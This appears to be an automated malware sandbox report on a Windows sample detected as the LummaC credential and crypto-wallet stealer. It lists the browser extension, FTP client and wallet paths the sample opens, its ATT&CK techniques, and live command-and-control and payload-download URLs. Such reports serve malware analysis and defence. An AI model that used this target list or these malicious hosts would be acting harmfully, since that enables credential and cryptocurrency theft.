Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior

Source: Yara match	File source: 00000000.00000003.1774333796.0000000001705000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1774313247.0000000001701000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7152, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: file.exe PID: 7152, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	12 Process Injection	34 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	12 Process Injection	LSASS Memory	751 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	34 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.ZPACK.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://185.215.113.16/off/def.exe~81	100%	Avira URL Cloud	phishing
https://cook-rain.sbs/api%F	100%	Avira URL Cloud	malware
https://cook-rain.sbs/t_stat	100%	Avira URL Cloud	malware
https://cook-rain.sbs/apiwF	100%	Avira URL Cloud	malware
https://cook-rain.sbs/apiJ	100%	Avira URL Cloud	malware
http://crl.microH	0%	Avira URL Cloud	safe
https://cook-rain.sbs/NF	100%	Avira URL Cloud	malware
https://cook-rain.sbs/e48	100%	Avira URL Cloud	malware
https://cook-rain.sbs/apirG	100%	Avira URL Cloud	malware
https://cook-rain.Xr	0%	Avira URL Cloud	safe
http://185.215.113.16/off/def.exed4f	100%	Avira URL Cloud	phishing

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
cook-rain.sbs	188.114.96.3	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
www.google.com	142.250.186.68	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
peepburry828.sbs	false	high
p10tgrace.sbs	false	high
processhol.sbs	false	high
https://cook-rain.sbs/api	false	high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false	high
p3ar11fter.sbs	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_109.6.dr	false		high
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1720448769.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1720448769.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exe~81	file.exe, 00000000.00000003.1900466821.0000000001701000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1990223648.00000000016A6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://cook-rain.sbs/apirG	file.exe, 00000000.00000003.1746567443.000000000171A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_109.6.dr	false		high
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	file.exe, 00000000.00000003.1771389591.000000000171A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exep	file.exe, 00000000.00000003.1900646242.00000000016EE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1990223648.00000000016A6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.linkedin.com/cws/share?url=$	chromecache_89.6.dr, chromecache_101.6.dr	false		high
https://cook-rain.sbs/apiwF	file.exe, 00000000.00000003.1784604379.000000000171C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.1720448769.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/apiJ	file.exe, 00000000.00000003.1837504310.00000000016FC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1900646242.00000000016FD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cook-rain.sbs/t_stat	file.exe, 00000000.00000003.1746567443.000000000171A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1747058173.000000000171C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	file.exe, 00000000.00000003.1720163814.0000000005C40000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1720243967.0000000005C39000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Youssef1313	chromecache_109.6.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_89.6.dr, chromecache_101.6.dr	false		high
https://aka.ms/msignite_docs_banner	chromecache_89.6.dr, chromecache_101.6.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_101.6.dr	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_89.6.dr, chromecache_101.6.dr	false		high
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_109.6.dr	false		high
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_89.6.dr, chromecache_101.6.dr	false		high
https://cook-rain.sbs/api%F	file.exe, 00000000.00000003.1774937643.000000000171C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1784604379.000000000171C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794661308.000000000171C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1794467168.000000000171C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1771389591.000000000171A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1837436281.000000000171C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1837526744.000000000171D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_109.6.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000000.00000003.1771389591.000000000171A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.1747495747.0000000005C12000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.1747495747.0000000005C12000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pshelpmechoose	chromecache_89.6.dr, chromecache_101.6.dr	false		high
https://aka.ms/feedback/report?space=61	chromecache_109.6.dr, chromecache_110.6.dr	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	file.exe, 00000000.00000003.1720243967.0000000005C14000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.1720448769.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.Xr	file.exe, 00000000.00000003.1774333796.0000000001705000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1774313247.0000000001701000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://learn-video.azurefd.net/vod/player	chromecache_89.6.dr, chromecache_101.6.dr	false		high
https://twitter.com/intent/tweet?original_referer=$	chromecache_89.6.dr, chromecache_101.6.dr	false		high
https://github.com/gewarren	chromecache_109.6.dr	false		high
http://185.215.113.16/off/def.exepleWebKit/537.36	file.exe, 00000000.00000002.1989844149.000000000128A000.00000004.00000010.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.1748469415.0000000005D0B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chromecache_89.6.dr, chromecache_101.6.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	file.exe, 00000000.00000003.1771389591.000000000171A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md	chromecache_109.6.dr	false		high
https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725	chromecache_109.6.dr	false		high
https://client-api.arkoselabs.com/v2/api.js	chromecache_89.6.dr, chromecache_101.6.dr	false		high
https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl	chromecache_89.6.dr, chromecache_101.6.dr	false		high
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	file.exe, 00000000.00000003.1771389591.000000000171A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_89.6.dr, chromecache_101.6.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.1720448769.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Thraka	chromecache_109.6.dr	false		high
http://crl.microH	file.exe, 00000000.00000003.1900646242.00000000016EE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cook-rain.sbs/NF	file.exe, 00000000.00000003.1900706448.000000000171C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1901081348.000000000171D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://polymer.github.io/PATENTS.txt	chromecache_89.6.dr, chromecache_101.6.dr	false		high
https://aka.ms/certhelp	chromecache_89.6.dr, chromecache_101.6.dr	false		high
http://185.215.113.16/steam/random.exe	file.exe, 00000000.00000003.1900646242.00000000016EE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1990223648.00000000016A6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/	file.exe, 00000000.00000003.1837436281.000000000171C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1774293130.000000000170E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1774937643.0000000001713000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1837526744.000000000171D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1720448769.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.1747495747.0000000005C12000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	file.exe, 00000000.00000003.1771389591.000000000171A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/mairaw	chromecache_109.6.dr	false		high
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.1747495747.0000000005C12000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	file.exe, 00000000.00000003.1720163814.0000000005C40000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1720243967.0000000005C39000.00000004.00000800.00020000.00000000.sdmp	false		high
https://schema.org	chromecache_101.6.dr	false		high
http://polymer.github.io/LICENSE.txt	chromecache_89.6.dr, chromecache_101.6.dr	false		high
https://cook-rain.sbs/e48	file.exe, 00000000.00000003.1774937643.000000000171C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1784604379.000000000171C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1771389591.000000000171A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1720448769.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.1748469415.0000000005D0B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/yourcaliforniaprivacychoices	chromecache_109.6.dr	false		high
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.1720448769.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/nschonni	chromecache_109.6.dr	false		high
http://185.215.113.16/	file.exe, 00000000.00000003.1900969061.000000000169A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05	chromecache_89.6.dr, chromecache_101.6.dr	false		high
https://github.com/adegeo	chromecache_109.6.dr	false		high
http://185.215.113.16/off/def.exed4f	file.exe, 00000000.00000003.1900646242.00000000016EE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1990223648.00000000016A6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000003.1771389591.000000000171A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.microsof	file.exe, 00000000.00000003.1720163814.0000000005C42000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/jonschlinkert/is-plain-object	chromecache_89.6.dr, chromecache_101.6.dr	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000000.00000003.1747495747.0000000005C12000.00000004.00000800.00020000.00000000.sdmp	false		high
https://octokit.github.io/rest.js/#throttling	chromecache_89.6.dr, chromecache_101.6.dr	false		high
https://github.com/js-cookie/js-cookie	chromecache_89.6.dr, chromecache_101.6.dr	false		high
http://185.215.113.16/off/def.exe	file.exe, 00000000.00000003.1900646242.00000000016EE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1990223648.00000000016A6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schema.org/Organization	chromecache_109.6.dr	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	file.exe, 00000000.00000003.1720243967.0000000005C14000.00000004.00000800.00020000.00000000.sdmp	false		high
https://channel9.msdn.com/	chromecache_89.6.dr, chromecache_101.6.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.1720448769.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/try	chromecache_89.6.dr, chromecache_101.6.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.68	www.google.com	United States	15169	GOOGLEUS	false
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.96.3	cook-rain.sbs	European Union	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1558750
Start date and time:	2024-11-19 19:13:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/64@9/6
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 3
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 2.22.50.144, 192.229.221.95, 172.217.23.99, 184.28.89.167, 142.250.186.78, 64.233.167.84, 88.221.170.101, 34.104.35.123, 172.217.16.202, 142.250.186.42, 142.250.186.138, 216.58.206.42, 142.250.184.202, 142.250.185.106, 142.250.185.138, 216.58.212.138, 216.58.206.74, 142.250.186.170, 142.250.185.74, 142.250.184.234, 142.250.74.202, 172.217.18.10, 172.217.23.106, 142.250.186.106, 20.189.173.27, 2.19.126.144, 2.19.126.132, 13.74.129.1, 52.182.141.63, 13.107.21.237, 204.79.197.237, 142.250.186.131, 142.250.186.142
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, c-msn-com-nsatc.trafficmanager.net, clientservices.googleapis.com, browser.events.data.trafficmanager.net, learn.microsoft.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, ocsp.digicert.com, star-azurefd-prod.trafficmanager.net, onedscolprdwus21.westus.cloudapp.azure.com, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, update.googleapis.com, clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, c-bing-com.dual-a-0034.a-msedge.net, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, browser.events.data.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, c.bing.com, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, dual-a-0034.a-msedge.net, clients.l.google.com, c1.microsoft.com, wcp
Execution Graph export aborted for target file.exe, PID 7152 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
13:14:01	API Interceptor	8x Sleep call for process: file.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
239.255.255.250	Benefit Enrollment -eGz8VNb.pdf	Get hash	malicious	Unknown	Browse
	http://52.113.191.172	Get hash	malicious	Unknown	Browse
	https://payment.relevance-pre.enzymeadvisinggroup.com	Get hash	malicious	HTMLPhisher	Browse
	mainbas.bat	Get hash	malicious	Unknown	Browse
	bas.bat	Get hash	malicious	Unknown	Browse
	man - Copy.bat	Get hash	malicious	Unknown	Browse
	https://nebula.homirax.ru/bZnB/#Fcgates@acc.org	Get hash	malicious	Unknown	Browse
	https://s.id/sharedocument	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	217469812STM.pdf	Get hash	malicious	ScreenConnect Tool, Phisher	Browse
13.107.246.45	https://pcefan.com/diary/index.php?st-manager=1&path=/click/track&id=4973&type=ranking&url=http://nam.dcv.ms/BxPVLH2cz4	Get hash	malicious	HTMLPhisher	Browse	nam.dcv.ms/BxPVLH2cz4
185.215.113.16	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Cryptbot, Stealc, Vidar	Browse	185.215.113.16/luma/random.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/random.exe
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/off/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/random.exe
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cook-rain.sbs	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
